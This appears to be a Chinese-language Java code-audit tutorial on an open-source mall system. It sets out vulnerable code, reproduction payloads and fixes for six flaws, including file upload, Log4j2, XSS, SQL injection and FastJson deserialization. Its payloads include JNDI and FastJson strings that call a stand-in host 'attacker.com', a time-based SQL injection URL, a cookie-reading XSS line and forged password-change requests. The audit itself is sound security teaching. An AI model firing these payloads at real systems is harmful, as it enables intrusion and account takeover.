Java代码审计 | 一次开源商城系统
字数 1292 2025-08-29 08:30:30
Java开源商城系统安全审计教学文档
1. 任意文件上传漏洞
漏洞位置
- 管理员后台文件上传接口:
POST /tmall/admin/uploadCategoryImage
漏洞分析
后端代码无任何过滤措施:
@ResponseBody
@RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
String originalFileName = file.getOriginalFilename();
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
String fileName = UUID.randomUUID() + extension; // 使用UUID重命名
String filePath = session.getServletContext().getRealPath("/res/images/item/categoryPicture/" + fileName);
// 无文件类型检查,直接保存
file.transferTo(new File(filePath));
}
漏洞复现
- 构造恶意JSP文件上传请求:
POST /tmall/admin/uploadCategoryImage HTTP/1.1
Content-Type: multipart/form-data; boundary=----geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head><title>Hello World JSP</title></head>
<body>
<h1><%= "Hello, World!" %></h1>
<p>${"This is a JSP page."}</p>
</body>
</html>
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83--
修复建议
- 限制上传文件类型白名单
- 检查文件内容而非仅扩展名
- 将上传文件存储在非web目录
- 禁用上传文件的执行权限
2. Log4j2漏洞
漏洞位置
- 文件上传功能中的日志记录:
logger.info("文件上传路径:{}", filePath);
漏洞分析
filePath包含用户可控的文件名- 系统使用的Log4j2版本存在漏洞
- 可构造恶意文件名触发RCE
漏洞复现
构造包含JNDI注入payload的文件名:
${jndi:ldap://attacker.com/exploit}
修复建议
- 升级Log4j2至最新安全版本
- 对日志输出内容进行过滤
- 设置
log4j2.formatMsgNoLookups=true
3. 存储型XSS漏洞
漏洞位置
- 后台添加产品功能:
POST /tmall/admin/product
漏洞分析
@ResponseBody
@RequestMapping(value = "admin/product", method = RequestMethod.POST)
public String addProduct(@RequestParam String product_name, ...) {
// 直接使用用户输入,无任何过滤
Product product = new Product().setProduct_name(product_name)...;
productService.add(product);
}
漏洞复现
在产品名称中插入XSS payload:
<script>alert(document.cookie)</script>
修复建议
- 对所有用户输入进行HTML实体编码
- 使用Content Security Policy (CSP)
- 设置HttpOnly标志的cookie
4. 越权漏洞(任意账户密码修改)
漏洞位置
- 管理员信息更新接口:
PUT /tmall/admin/account/{admin_id}
漏洞分析
@RequestMapping(value = "admin/account/{admin_id}", method = RequestMethod.PUT)
public String updateAdmin(..., @PathVariable("admin_id") String admin_id) {
Object adminId = checkAdmin(session); // 从session获取当前用户ID
// 但修改时使用用户提供的admin_id而非session中的adminId
Admin putAdmin = new Admin().setAdmin_id(Integer.valueOf(admin_id))...;
adminService.update(putAdmin);
}
漏洞复现
- 正常修改密码请求:
PUT /tmall/admin/account/1 HTTP/1.1
...
admin_nickname=test&admin_password=123456&admin_newPassword=123456789
- 修改admin_id为其他用户ID:
PUT /tmall/admin/account/3 HTTP/1.1
...
admin_nickname=test&admin_password=123456&admin_newPassword=123456789
修复建议
- 修改操作时验证
admin_id必须等于session中的用户ID - 实现基于角色的访问控制(RBAC)
- 记录敏感操作日志
5. SQL注入漏洞
漏洞位置
- 用户查询接口:
GET /tmall/admin/user/{index}/{count} - 注入参数:
orderBy
漏洞分析
@RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET)
public String getUserBySearch(..., @RequestParam(required = false) String orderBy, ...) {
OrderUtil orderUtil = null;
if (orderBy != null) {
orderUtil = new OrderUtil(orderBy, isDesc); // 直接拼接SQL
}
List<User> userList = userService.getList(user, orderUtil, pageUtil);
}
MyBatis中的不安全拼接:
<if test="orderUtil != null">
ORDER BY ${orderUtil.order} ${orderUtil.isDesc ? "DESC" : "ASC"}
</if>
漏洞复现
构造恶意orderBy参数:
http://target/tmall/admin/user/0/10?orderBy=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)
修复建议
- 使用预编译语句
- 避免直接拼接用户输入到SQL
- 对排序字段使用白名单验证
6. FastJson反序列化漏洞
漏洞位置
- 产品添加功能中的JSON解析:
JSONObject object = JSON.parseObject(propertyJson);
漏洞分析
- 使用存在漏洞版本的FastJson
- 直接解析用户可控的JSON字符串
- 可构造恶意JSON触发RCE
漏洞复现
构造恶意propertyJson参数:
{
"aa": {
"@type": "java.net.Inet4Address",
"val": "attacker.com"
}
}
修复建议
- 升级FastJson至最新安全版本
- 使用
JSON.parseObject(json, Feature.SafeMode) - 限制反序列化的类白名单
综合修复方案
-
输入验证:
- 对所有用户输入实施严格验证
- 使用白名单而非黑名单
-
安全编码:
- 避免直接拼接SQL、命令或文件路径
- 使用预编译语句和参数化查询
-
权限控制:
- 实施最小权限原则
- 所有敏感操作验证用户身份和权限
-
依赖管理:
- 定期更新第三方库
- 移除不必要的依赖
-
安全配置:
- 禁用目录列表
- 配置安全HTTP头
- 限制文件上传类型和大小
-
日志监控:
- 记录所有敏感操作
- 实施异常检测
通过全面实施这些安全措施,可显著提高系统的安全性,防止文中提到的各类漏洞被利用。